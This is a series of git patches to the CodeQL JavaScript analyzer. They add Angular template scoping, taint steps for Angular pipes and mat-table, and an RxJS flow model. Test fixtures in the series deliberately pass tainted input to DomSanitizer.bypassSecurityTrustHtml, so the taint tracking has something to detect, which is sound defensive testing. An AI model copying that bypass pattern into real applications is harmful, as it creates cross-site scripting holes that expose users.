.../semmle/javascript/dataflow/Sources.qll | 3 +- .../internal/VariableTypeInference.qll | 10 +++- .../semmle/javascript/frameworks/Angular2.qll | 60 ++++++++++++------- .../ql/src/semmlecode.javascript.dbscheme | 3 +- .../frameworks/Angular2/source.component.html | 1 + .../frameworks/Angular2/source.component.ts | 7 ++- .../frameworks/Angular2/test.expected | 11 ++-- 13 files changed, 93 insertions(+), 36 deletions(-) diff --git a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java index 830b9066e50..75b26223a2a 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java @@ -704,7 +704,10 @@ public class ASTExtractor { + locationManager.getStartLine() + "," + locationManager.getStartColumn()); - scopeManager.enterScope(ScopeKind.module, moduleScopeKey, toplevelLabel); + Scope moduleScope = scopeManager.enterScope(ScopeKind.module, moduleScopeKey, toplevelLabel); + if (sourceType.hasNoGlobalScope()) { + scopeManager.setImplicitVariableScope(moduleScope); + } scopeManager.addVariables( sourceType.getPredefinedLocals(platform, locationManager.getSourceFileExtension())); trapwriter.addTuple("is_module", toplevelLabel); diff --git a/javascript/extractor/src/com/semmle/js/extractor/ExtractorConfig.java b/javascript/extractor/src/com/semmle/js/extractor/ExtractorConfig.java index f9b5939a6f6..8543ddf16da 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/ExtractorConfig.java +++ b/javascript/extractor/src/com/semmle/js/extractor/ExtractorConfig.java @@ -113,6 +113,14 @@ public class ExtractorConfig { return this != SCRIPT; } + /** + * Returns true if this source type cannot access the global scope directly, and undeclared + * variables are implicitly declared in its local scope. Implies {@link #hasLocalScope()}. + */ + public boolean hasNoGlobalScope() { + return this == ANGULAR_TEMPLATE; + } + /** Returns true if this source is implicitly in strict mode. */ public boolean isStrictMode() { return this == MODULE; diff --git a/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java index 8cd41a19f38..ce2a28969ea 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java @@ -118,7 +118,7 @@ public class HTMLExtractor implements IExtractor { } } extractSnippet( - TopLevelKind.eventHandler, + TopLevelKind.angularTemplate, config.withSourceType(SourceType.ANGULAR_TEMPLATE), scopeManager, textualExtractor, diff --git a/javascript/extractor/src/com/semmle/js/extractor/ScopeManager.java b/javascript/extractor/src/com/semmle/js/extractor/ScopeManager.java index a7db92f52a1..eada6aa1d35 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/ScopeManager.java +++ b/javascript/extractor/src/com/semmle/js/extractor/ScopeManager.java @@ -102,11 +102,21 @@ public class ScopeManager { private final Scope toplevelScope; private final ECMAVersion ecmaVersion; private final Set<String> implicitGlobals = new LinkedHashSet<String>(); + private Scope implicitVariableScope; public ScopeManager(TrapWriter trapWriter, ECMAVersion ecmaVersion) { this.trapWriter = trapWriter; this.toplevelScope = enterScope(ScopeKind.global, trapWriter.globalID("global_scope"), null); this.ecmaVersion = ecmaVersion; + this.implicitVariableScope = toplevelScope; + } + + /** + * Sets the scope in which to declare variables that are referenced without + * being declared. This defaults to the global scope. + */ + public void setImplicitVariableScope(Scope implicitVariableScope) { + this.implicitVariableScope = implicitVariableScope; } /** @@ -193,12 +203,12 @@ public class ScopeManager { /** * Get the label for a given variable in the current scope; if it cannot be found, add it to the - * global scope. + * implicit variable scope (usually the global scope). */ public Label getVarKey(String name) { Label lbl = curScope.lookupVariable(name); if (lbl == null) { - lbl = addVariable(name, toplevelScope); + lbl = addVariable(name, implicitVariableScope); implicitGlobals.add(name); } return lbl; diff --git a/javascript/extractor/src/com/semmle/js/extractor/TopLevelKind.java b/javascript/extractor/src/com/semmle/js/extractor/TopLevelKind.java index 70fae82d1ff..2755329621b 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/TopLevelKind.java +++ b/javascript/extractor/src/com/semmle/js/extractor/TopLevelKind.java @@ -7,7 +7,8 @@ public enum TopLevelKind { script(0), inlineScript(1), eventHandler(2), - javascriptUrl(3); + javascriptUrl(3), + angularTemplate(4); private int value; diff --git a/javascript/ql/src/semmle/javascript/AST.qll b/javascript/ql/src/semmle/javascript/AST.qll index e87d5d92385..157aa30015f 100644 --- a/javascript/ql/src/semmle/javascript/AST.qll +++ b/javascript/ql/src/semmle/javascript/AST.qll @@ -300,7 +300,7 @@ class InlineScript extends @inline_script, Script { } * ``` */ class CodeInAttribute extends TopLevel { - CodeInAttribute() { this instanceof @event_handler or this instanceof @javascript_url } + CodeInAttribute() { this instanceof @event_handler or this instanceof @javascript_url or this instanceof @angular_template_toplevel } } /** diff --git a/javascript/ql/src/semmle/javascript/dataflow/Sources.qll b/javascript/ql/src/semmle/javascript/dataflow/Sources.qll index 10347bfbfcb..228810f6238 100644 --- a/javascript/ql/src/semmle/javascript/dataflow/Sources.qll +++ b/javascript/ql/src/semmle/javascript/dataflow/Sources.qll @@ -309,7 +309,8 @@ module SourceNode { astNode instanceof ImportSpecifier or astNode instanceof ImportMetaExpr or astNode instanceof TaggedTemplateExpr or - astNode instanceof Angular2::PipeRefExpr + astNode instanceof Angular2::PipeRefExpr or + astNode instanceof Angular2::TemplateVarRefExpr ) or DataFlow::parameterNode(this, _) diff --git a/javascript/ql/src/semmle/javascript/dataflow/internal/VariableTypeInference.qll b/javascript/ql/src/semmle/javascript/dataflow/internal/VariableTypeInference.qll index d3b950e71a6..8155ad81319 100644 --- a/javascript/ql/src/semmle/javascript/dataflow/internal/VariableTypeInference.qll +++ b/javascript/ql/src/semmle/javascript/dataflow/internal/VariableTypeInference.qll @@ -307,6 +307,11 @@ class AnalyzedNegativeConditionGuard extends AnalyzedRefinement { } } +/** Holds if `v` is a variable in an Angular template. */ +private predicate isAngularTemplateVariable(LocalVariable v) { + v = any(Angular2::TemplateTopLevel tl).getScope().getAVariable() +} + /** * Gets the abstract value representing the initial value of variable `v`. * @@ -325,7 +330,10 @@ private AbstractValue getImplicitInitValue(LocalVariable v) { then // model hoisting result = TAbstractFunction(getAFunDecl(v)) - else result = TAbstractUndefined() + else + if isAngularTemplateVariable(v) + then result = TIndefiniteAbstractValue("heap") + else result = TAbstractUndefined() } /** diff --git a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll index 71cabd987c3..d301433181a 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll @@ -241,6 +241,33 @@ module Angular2 { } } + /** + * A reference to a variable in a template expression, corresponding + * to a property on the component class. + */ + class TemplateVarRefExpr extends Expr { + TemplateVarRefExpr() { + this = any(TemplateTopLevel tl).getScope().getAVariable().getAnAccess() + } + } + + /** The top-level containing an Angular expression. */ + class TemplateTopLevel extends TopLevel, @angular_template_toplevel { + /** Gets the expression in this top-level. */ + Expr getExpression() { + result = getChildStmt(0).(ExprStmt).getExpr() + } + + /** Gets the data flow node representing the initialization of the given variable in this scope. */ + DataFlow::Node getVariableInit(string name) { + result = DataFlow::ssaDefinitionNode(SSA::implicitInit(getScope().getVariable(name))) + } + + DataFlow::SourceNode getAVariableUse(string name) { + result = getScope().getVariable(name).getAnAccess().flow() + } + } + /** The RHS of a `templateUrl` property, seen as a path expression. */ private class TemplateUrlPath extends PathExpr { TemplateUrlPath() { @@ -264,18 +291,8 @@ module Angular2 { attrib.getName().matches("*ng%") } - /** - * Gets a global variable access to `name` within the given attribute. - */ - pragma[noinline] - private GlobalVarAccess getAGlobalVarAccessInAttribute(CodeInAttribute code, string name) { - exists(ComponentClass cls) and // do not materialize for non-Angular codebases - result.getTopLevel() = code and - result.getName() = name - } - private DataFlow::Node getAttributeValueAsNode(HTML::Attribute attrib) { - result = attrib.getCodeInAttribute().getChildStmt(0).(ExprStmt).getExpr().flow() + result = attrib.getCodeInAttribute().(TemplateTopLevel).getExpression().flow() } /** @@ -361,11 +378,7 @@ module Angular2 { * Gets an access to the variable `name` in the template body. */ DataFlow::Node getATemplateVarAccess(string name) { - exists(HTML::Attribute attrib | - attrib = getATemplateElement().getAnAttribute() and - isAngularExpressionAttribute(attrib) and - result = getAGlobalVarAccessInAttribute(attrib.getCodeInAttribute(), name).flow() - ) + result = getATemplateElement().getAnAttribute().getCodeInAttribute().(TemplateTopLevel).getAVariableUse(name) } } @@ -450,11 +463,7 @@ module Angular2 { /** Gets a reference to the iterator variable. */ DataFlow::Node getAnIteratorAccess() { - exists(HTML::Attribute attrib | - attrib = getAnElementInScope().getAnAttribute() and - isAngularExpressionAttribute(attrib) and - result = getAGlobalVarAccessInAttribute(attrib.getCodeInAttribute(), getIteratorName()).flow() - ) + result = getAnElementInScope().getAnAttribute().getCodeInAttribute().(TemplateTopLevel).getAVariableUse(getIteratorName()) } } @@ -474,4 +483,13 @@ module Angular2 { succ = attrib.getAnIteratorAccess() } } + + private class AnyCastStep extends TaintTracking::AdditionalTaintStep, DataFlow::CallNode { + AnyCastStep() { this = any(TemplateTopLevel tl).getAVariableUse("$any").getACall() } + + override predicate step(DataFlow::Node pred, DataFlow::Node succ) { + pred = getArgument(0) and + succ = this + } + } } diff --git a/javascript/ql/src/semmlecode.javascript.dbscheme b/javascript/ql/src/semmlecode.javascript.dbscheme index 11b7de776be..930898a4fe0 100644 --- a/javascript/ql/src/semmlecode.javascript.dbscheme +++ b/javascript/ql/src/semmlecode.javascript.dbscheme @@ -124,7 +124,8 @@ case @toplevel.kind of 0 = @script | 1 = @inline_script | 2 = @event_handler -| 3 = @javascript_url; +| 3 = @javascript_url +| 4 = @angular_template_toplevel; is_module (int tl: @toplevel ref); is_nodejs (int tl: @toplevel ref); diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/source.component.html b/javascript/ql/test/library-tests/frameworks/Angular2/source.component.html index c26664f8d85..79491225b01 100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/source.component.html +++ b/javascript/ql/test/library-tests/frameworks/Angular2/source.component.html @@ -4,6 +4,7 @@ [sink3]="taint | unknownPipe:'safe'" [sink4]="taint | testPipe:'safe'" [sink5]="42 | testPipe:taint" + (someEvent)="methodOnComponent(taint)" ></sink-component> <div *ngFor="let element of taintedArray"> diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/source.component.ts b/javascript/ql/test/library-tests/frameworks/Angular2/source.component.ts index bd296c7a298..63b981367b3 100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/source.component.ts +++ b/javascript/ql/test/library-tests/frameworks/Angular2/source.component.ts @@ -1,4 +1,5 @@ import { Component } from "@angular/core"; +import { DomSanitizer } from '@angular/platform-browser'; @Component({ selector: "source-component", @@ -9,9 +10,13 @@ export class Source { taintedArray: string[]; safeArray: string[]; - constructor() { + constructor(private sanitizer: DomSanitizer) { this.taint = source(); this.taintedArray = [...source()]; this.safeArray = ['a', 'b']; } + + methodOnComponent(x) { + this.sanitizer.bypassSecurityTrustHtml(x); + } } diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/test.expected b/javascript/ql/test/library-tests/frameworks/Angular2/test.expected index 44f5154b57a..4eccd9feb15 100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/test.expected +++ b/javascript/ql/test/library-tests/frameworks/Angular2/test.expected @@ -23,8 +23,9 @@ pipeClassRef | TestPipe.ts:4:8:9:1 | class T ... ;\\n }\\n} | source.component.html:6:19:6:26 | testPipe | taintFlow | inline.component.ts:15:22:15:29 | source() | sink.component.ts:26:48:26:57 | this.sink7 | -| source.component.ts:13:22:13:29 | source() | sink.component.ts:20:48:20:57 | this.sink1 | -| source.component.ts:13:22:13:29 | source() | sink.component.ts:23:48:23:57 | this.sink4 | -| source.component.ts:13:22:13:29 | source() | sink.component.ts:24:48:24:57 | this.sink5 | -| source.component.ts:13:22:13:29 | source() | sink.component.ts:25:48:25:57 | this.sink6 | -| source.component.ts:14:33:14:40 | source() | sink.component.ts:20:48:20:57 | this.sink1 | +| source.component.ts:14:22:14:29 | source() | sink.component.ts:20:48:20:57 | this.sink1 | +| source.component.ts:14:22:14:29 | source() | sink.component.ts:23:48:23:57 | this.sink4 | +| source.component.ts:14:22:14:29 | source() | sink.component.ts:24:48:24:57 | this.sink5 | +| source.component.ts:14:22:14:29 | source() | sink.component.ts:25:48:25:57 | this.sink6 | +| source.component.ts:14:22:14:29 | source() | source.component.ts:20:48:20:48 | x | +| source.component.ts:15:33:15:40 | source() | sink.component.ts:20:48:20:57 | this.sink1 | From c8901b62f58856c7afd6e476d0b9606c83fd55f6 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Fri, 18 Dec 2020 10:25:22 +0000 Subject: [PATCH 0659/1241] JS: Add test for $any step --- .../frameworks/Angular2/sink.component.ts | 2 ++ .../frameworks/Angular2/source.component.html | 1 + .../library-tests/frameworks/Angular2/test.expected | 13 +++++++------ 3 files changed, 10 insertions(+), 6 deletions(-) diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/sink.component.ts b/javascript/ql/test/library-tests/frameworks/Angular2/sink.component.ts index 9986a965ed6..48698860f70 100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/sink.component.ts +++ b/javascript/ql/test/library-tests/frameworks/Angular2/sink.component.ts @@ -13,6 +13,7 @@ export class SinkComponent { sink5: string; sink6: string; sink7: string; + sink8: string; constructor(private sanitizer: DomSanitizer) {} @@ -24,5 +25,6 @@ export class SinkComponent { this.sanitizer.bypassSecurityTrustHtml(this.sink5); this.sanitizer.bypassSecurityTrustHtml(this.sink6); this.sanitizer.bypassSecurityTrustHtml(this.sink7); + this.sanitizer.bypassSecurityTrustHtml(this.sink8); } } diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/source.component.html b/javascript/ql/test/library-tests/frameworks/Angular2/source.component.html index 79491225b01..376551d9d15 100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/source.component.html +++ b/javascript/ql/test/library-tests/frameworks/Angular2/source.component.html @@ -5,6 +5,7 @@ [sink4]="taint | testPipe:'safe'" [sink5]="42 | testPipe:taint" (someEvent)="methodOnComponent(taint)" + [sink8]="$any(taint)" ></sink-component> <div *ngFor="let element of taintedArray"> diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/test.expected b/javascript/ql/test/library-tests/frameworks/Angular2/test.expected index 4eccd9feb15..978d419086c 100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/test.expected +++ b/javascript/ql/test/library-tests/frameworks/Angular2/test.expected @@ -22,10 +22,11 @@ pipeClassRef | TestPipe.ts:4:8:9:1 | class T ... ;\\n }\\n} | source.component.html:5:22:5:29 | testPipe | | TestPipe.ts:4:8:9:1 | class T ... ;\\n }\\n} | source.component.html:6:19:6:26 | testPipe | taintFlow -| inline.component.ts:15:22:15:29 | source() | sink.component.ts:26:48:26:57 | this.sink7 | -| source.component.ts:14:22:14:29 | source() | sink.component.ts:20:48:20:57 | this.sink1 | -| source.component.ts:14:22:14:29 | source() | sink.component.ts:23:48:23:57 | this.sink4 | -| source.component.ts:14:22:14:29 | source() | sink.component.ts:24:48:24:57 | this.sink5 | -| source.component.ts:14:22:14:29 | source() | sink.component.ts:25:48:25:57 | this.sink6 | +| inline.component.ts:15:22:15:29 | source() | sink.component.ts:27:48:27:57 | this.sink7 | +| source.component.ts:14:22:14:29 | source() | sink.component.ts:21:48:21:57 | this.sink1 | +| source.component.ts:14:22:14:29 | source() | sink.component.ts:24:48:24:57 | this.sink4 | +| source.component.ts:14:22:14:29 | source() | sink.component.ts:25:48:25:57 | this.sink5 | +| source.component.ts:14:22:14:29 | source() | sink.component.ts:26:48:26:57 | this.sink6 | +| source.component.ts:14:22:14:29 | source() | sink.component.ts:28:48:28:57 | this.sink8 | | source.component.ts:14:22:14:29 | source() | source.component.ts:20:48:20:48 | x | -| source.component.ts:15:33:15:40 | source() | sink.component.ts:20:48:20:57 | this.sink1 | +| source.component.ts:15:33:15:40 | source() | sink.component.ts:21:48:21:57 | this.sink1 | From 2f3cef177bdea61a770e96b9240698aed9c7e5b3 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Fri, 18 Dec 2020 12:12:30 +0000 Subject: [PATCH 0660/1241] JS: More steps in Angular2 model --- .../semmle/javascript/frameworks/Angular2.qll | 138 +++++++++++++++++- 1 file changed, 132 insertions(+), 6 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll index d301433181a..6af647a817a 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll @@ -241,6 +241,23 @@ module Angular2 { } } + /** + * A call derived from a pipe expression. + * + * For example, the expression `x | f: y` is desugared to `f(x, y)` where + * `f` is a `PipeRefExpr` and the call itself is a `PipeCallExpr`. + */ + class PipeCallExpr extends CallExpr { + PipeCallExpr() { + getCallee() instanceof PipeRefExpr + } + + /** Gets the name of the pipe being invoked, such as `f` in `x | f`. */ + string getPipeName() { + result = getCallee().(PipeRefExpr).getName() + } + } + /** * A reference to a variable in a template expression, corresponding * to a property on the component class. @@ -263,6 +280,7 @@ module Angular2 { result = DataFlow::ssaDefinitionNode(SSA::implicitInit(getScope().getVariable(name))) } + /** Gets a data flow node corresponding to a use of the given template variable within this top-level. */ DataFlow::SourceNode getAVariableUse(string name) { result = getScope().getVariable(name).getAnAccess().flow() } @@ -375,9 +393,9 @@ module Angular2 { } /** - * Gets an access to the variable `name` in the template body. + * Gets an access to the given template variable within the template body of this component. */ - DataFlow::Node getATemplateVarAccess(string name) { + DataFlow::SourceNode getATemplateVarAccess(string name) { result = getATemplateElement().getAnAttribute().getCodeInAttribute().(TemplateTopLevel).getAVariableUse(name) } } @@ -453,7 +471,7 @@ module Angular2 { /** Gets the name of the variable holding the element of the current iteration. */ string getIteratorName() { - result = getValue().regexpCapture("^ *let (\\w+) .*", 1) + result = getValue().regexpCapture(" *let +(\\w+).*", 1) } /** Gets an HTML element in which the iterator variable is in scope. */ @@ -484,11 +502,119 @@ module Angular2 { } } - private class AnyCastStep extends TaintTracking::AdditionalTaintStep, DataFlow::CallNode { - AnyCastStep() { this = any(TemplateTopLevel tl).getAVariableUse("$any").getACall() } + private class AnyCastStep extends PreCallGraphStep { + override predicate step(DataFlow::Node pred, DataFlow::Node succ) { + exists(DataFlow::CallNode call | + call = any(TemplateTopLevel tl).getAVariableUse("$any").getACall() and + pred = call.getArgument(0) and + succ = call + ) + } + } + + /** + * Gets an invocation of the pipe of the given name. + * + * For example, the call generated from `items | async` would be found by `getAPipeCall("async")`. + */ + DataFlow::CallNode getAPipeCall(string name) { + result.getCalleeNode().asExpr().(PipeRefExpr).getName() = name + } + + private class BuiltinPipeStep extends TaintTracking::AdditionalTaintStep, DataFlow::CallNode { + string name; + + BuiltinPipeStep() { + this = getAPipeCall(name) + } override predicate step(DataFlow::Node pred, DataFlow::Node succ) { - pred = getArgument(0) and + succ = this and + exists(int i | pred = getArgument(i) | + i = 0 and name = ["async", "i18nPlural", "json", "keyvalue", "lowercase", "uppercase", "titlecase", "slice"] + or + i = 1 and name = "date" // date format string + ) + or + // Arguments to translate are assumed to be included in the result somewhere + name = "translate" and + succ = this and + pred = [getArgument(1), getOptionArgument(1, _)] + } + } + + /** + * A `<mat-table>` element. + */ + class MatTableElement extends HTML::Element { + MatTableElement() { + getName() = "mat-table" + } + + /** Gets the data flow node corresponding to the `[dataSource]` attribute. */ + DataFlow::Node getDataSourceNode() { + result = getAttributeValueAsNode(getAttributeByName("[dataSource]")) + } + + /** + * Gets an element of form `<mat-cell *matCellDef="let rowBinding">` in this table. + */ + HTML::Element getATableCell(string rowBinding) { + result.getName() = "mat-cell" and + result.getParent+() = this and + rowBinding = result.getAttributeByName("*matCellDef").getValue().regexpCapture(" *let +(\\w+).*", 1) + } + + /** Gets a data flow node that refers to one of the rows from the data source. */ + DataFlow::Node getARowRef() { + exists(string rowBinding | + result = getATableCell(rowBinding).getChild*().getAnAttribute().getCodeInAttribute().(TemplateTopLevel).getAVariableUse(rowBinding) + ) + } + } + + /** + * A taint step from `x -> y` in code of form: + * ``` + * <mat-table [dataSource]="x"> + * <mat-cell *matCellDef="let y"> + * <foo [prop]="y"/> + * </mat-cell> + * </mat-table> + * ``` + */ + private class MatTableTaintStep extends TaintTracking::AdditionalTaintStep { + MatTableElement table; + + MatTableTaintStep() { + this = table.getDataSourceNode() + } + + override predicate step(DataFlow::Node pred, DataFlow::Node succ) { + pred = this and + succ = table.getARowRef() + } + } + + /** Like `MatTableTaintStep` but as a value-preserving load step. */ + private class MatTableLoadStep extends PreCallGraphStep { + override predicate loadStep(DataFlow::Node pred, DataFlow::Node succ, string prop) { + exists(MatTableElement table | + pred = table.getDataSourceNode() and + succ = table.getARowRef() and + prop = DataFlow::PseudoProperties::arrayElement() + ) + } + } + + /** A taint step into the data array of a `MatTableDataSource` instance. */ + private class MatTableDataSourceStep extends TaintTracking::AdditionalTaintStep, DataFlow::NewNode { + MatTableDataSourceStep() { + this = DataFlow::moduleMember("@angular/material/table", "MatTableDataSource").getAnInstantiation() + } + + override predicate step(DataFlow::Node pred, DataFlow::Node succ) { + pred = [getArgument(0), getAPropertyWrite("data").getRhs()] and succ = this } } From 00cd0644f02fd3ed0d7719ee580fabc9f869c498 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Fri, 18 Dec 2020 14:01:45 +0000 Subject: [PATCH 0661/1241] JS: Implement getAResponseDataNode --- javascript/ql/src/semmle/javascript/frameworks/Angular2.qll | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll index 6af647a817a..aee4f97cb7d 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll @@ -197,6 +197,10 @@ module Angular2 { or result = getOptionArgument(argumentOffset + 1, "body") } + + override DataFlow::Node getAResponseDataNode(string responseType, boolean promise) { + result = this and responseType = "rxjs.observable" and promise = false + } } private string getInternalName(string name) { From 44c5d36e837daf7d2b2f217c7f074676c16b8140 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Fri, 18 Dec 2020 14:17:03 +0000 Subject: [PATCH 0662/1241] JS: Simple RxJS model --- javascript/ql/src/javascript.qll | 1 + .../src/semmle/javascript/frameworks/RxJS.qll | 74 +++++++++++++++++++ 2 files changed, 75 insertions(+) create mode 100644 javascript/ql/src/semmle/javascript/frameworks/RxJS.qll diff --git a/javascript/ql/src/javascript.qll b/javascript/ql/src/javascript.qll index 1bf3dd92156..9cc8e112b5b 100644 --- a/javascript/ql/src/javascript.qll +++ b/javascript/ql/src/javascript.qll @@ -98,6 +98,7 @@ import semmle.javascript.frameworks.PropertyProjection import semmle.javascript.frameworks.React import semmle.javascript.frameworks.ReactNative import semmle.javascript.frameworks.Request +import semmle.javascript.frameworks.RxJS import semmle.javascript.frameworks.ServerLess import semmle.javascript.frameworks.ShellJS import semmle.javascript.frameworks.SystemCommandExecutors diff --git a/javascript/ql/src/semmle/javascript/frameworks/RxJS.qll b/javascript/ql/src/semmle/javascript/frameworks/RxJS.qll new file mode 100644 index 00000000000..ba09f7d087e --- /dev/null +++ b/javascript/ql/src/semmle/javascript/frameworks/RxJS.qll @@ -0,0 +1,74 @@ +/** + * Provides taint steps modeling flow through `rxjs` Observable objects. + */ +private import javascript + +/** + * A step `x -> y` in `x.subscribe(y => ...)`, modeling flow out of an rxjs Observable. + */ +private class RxJsSubscribeStep extends TaintTracking::AdditionalTaintStep, DataFlow::MethodCallNode { + RxJsSubscribeStep() { + getMethodName() = "subscribe" + } + + override predicate step(DataFlow::Node pred, DataFlow::Node succ) { + pred = getReceiver() and + succ = getCallback(0).getParameter(0) + } +} + +/** + * Holds if a tainted value sent into the given `pipe` should propagate to `arg`. + */ +private DataFlow::Node pipeInput(DataFlow::CallNode pipe) { + pipe = DataFlow::moduleMember("rxjs/operators", ["map", "filter"]).getACall() and + result = pipe.getCallback(0).getParameter(0) +} + +/** + * Holds if a tainted value in `output` should propagate to the output of the given pipe. + */ +private DataFlow::Node pipeOutput(DataFlow::CallNode pipe) { + pipe = DataFlow::moduleMember("rxjs/operators", "map").getACall() and + result = pipe.getCallback(0).getReturnNode() + or + pipe = DataFlow::moduleMember("rxjs/operators", "filter").getACall() and + result = pipe.getCallback(0).getParameter(0) +} + +/** + * Holds if `pipe` acts as the identity function for success values. + * + * We currently lack a data-flow node to represent its input/ouput so it must + * be special-cased. + */ +private predicate isIdentityPipe(DataFlow::CallNode pipe) { + pipe = DataFlow::moduleMember("rxjs/operators", "catchError").getACall() +} + +/** + * A step in or out of the map callback in a call of form `x.pipe(map(y => ...))`. + */ +private class RxJsPipeMapStep extends TaintTracking::AdditionalTaintStep, DataFlow::MethodCallNode { + RxJsPipeMapStep() { + getMethodName() = "pipe" + } + + override predicate step(DataFlow::Node pred, DataFlow::Node succ) { + pred = getReceiver() and + succ = pipeInput(getArgument(0).getALocalSource()) + or + exists(int i | + pred = pipeOutput(getArgument(i).getALocalSource()) and + succ = pipeInput(getArgument(i + 1).getALocalSource()) + ) + or + pred = pipeOutput(getLastArgument().getALocalSource()) and + succ = this + or + // Handle a common case where the last step is `catchError`. + isIdentityPipe(getLastArgument().getALocalSource()) and + pred = pipeOutput(getArgument(getNumArgument() - 2)) and + succ = this + } +} From 1b4a4ea2fa82c12f79da3718162d682faa7c6915 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Fri, 11 Dec 2020 21:59:58 +0000 Subject: [PATCH 0663/1241] JS: Bump extractor version string --- javascript/extractor/src/com/semmle/js/extractor/Main.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/javascript/extractor/src/com/semmle/js/extractor/Main.java b/javascript/extractor/src/com/semmle/js/extractor/Main.java index 769f6dc7907..fa4c138842a 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/Main.java +++ b/javascript/extractor/src/com/semmle/js/extractor/Main.java @@ -43,7 +43,7 @@ public class Main { * A version identifier that should be updated every time the extractor changes in such a way that * it may produce different tuples for the same file under the same {@link ExtractorConfig}. */ - public static final String EXTRACTOR_VERSION = "2020-12-05"; + public static final String EXTRACTOR_VERSION = "2020-12-11"; public static final Pattern NEWLINE = Pattern.compile("\n"); From c5f2c04f16563f669361aca74e487123fafd54d0 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Thu, 14 Jan 2021 15:05:42 +0000 Subject: [PATCH 0664/1241] JS: Add upgrade script --- .../src/semmlecode.javascript.dbscheme.stats | 172 + .../old.dbscheme | 1194 + .../semmlecode.javascript.dbscheme | 1206 + .../semmlecode.javascript.dbscheme.stats | 31622 ++++++++++++++++ .../toplevel_parent_xml_node.ql | 32 + .../upgrade.properties | 4 + 6 files changed, 34230 insertions(+) create mode 100644 javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/old.dbscheme create mode 100644 javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/semmlecode.javascript.dbscheme create mode 100644 javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/semmlecode.javascript.dbscheme.stats create mode 100644 javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/toplevel_parent_xml_node.ql create mode 100644 javascript/upgrades/c8859f3725d4b070a877f8792214582d517c8a9b/upgrade.properties diff --git a/javascript/ql/src/semmlecode.javascript.dbscheme.stats b/javascript/ql/src/semmlecode.javascript.dbscheme.stats index 460e30f82dc..f5520c0a9e2 100644 --- a/javascript/ql/src/semmlecode.javascript.dbscheme.stats +++ b/javascript/ql/src/semmlecode.javascript.dbscheme.stats @@ -50,6 +50,10 @@ <v>3</v> </e> <e> +<k>@angular_template_toplevel</k> +<v>100</v> +</e> +<e> <k>@stmt</k> <v>1096691</v> </e> @@ -434,6 +438,10 @@ <v>1</v> </e> <e> +<k>@angular_pipe_ref</k> +<v>100</v> +</e> +<e> <k>@preinc_expr</k> <v>1792</v> </e> @@ -9264,6 +9272,170 @@ <dependencies/> </relation> <relation> +<name>toplevel_parent_xml_node</name> +<cardinality>43</cardinality> +<columnsizes> +<e> +<k>toplevel</k> +<v>43</v> +</e> +<e> +<k>xmlnode</k> +<v>43</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>toplevel</src> +<trg>xmlnode</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>43</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>xmlnode</src> +<trg>toplevel</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>43</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>xml_element_parent_expression</name> +<cardinality>1</cardinality> +<columnsizes> +<e> +<k>xmlnode</k> +<v>1</v> +</e> +<e> +<k>expression</k> +<v>1</v> +</e> +<e> +<k>index</k> +<v>1</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>xmlnode</src> +<trg>expression</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>xmlnode</src> +<trg>index</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> 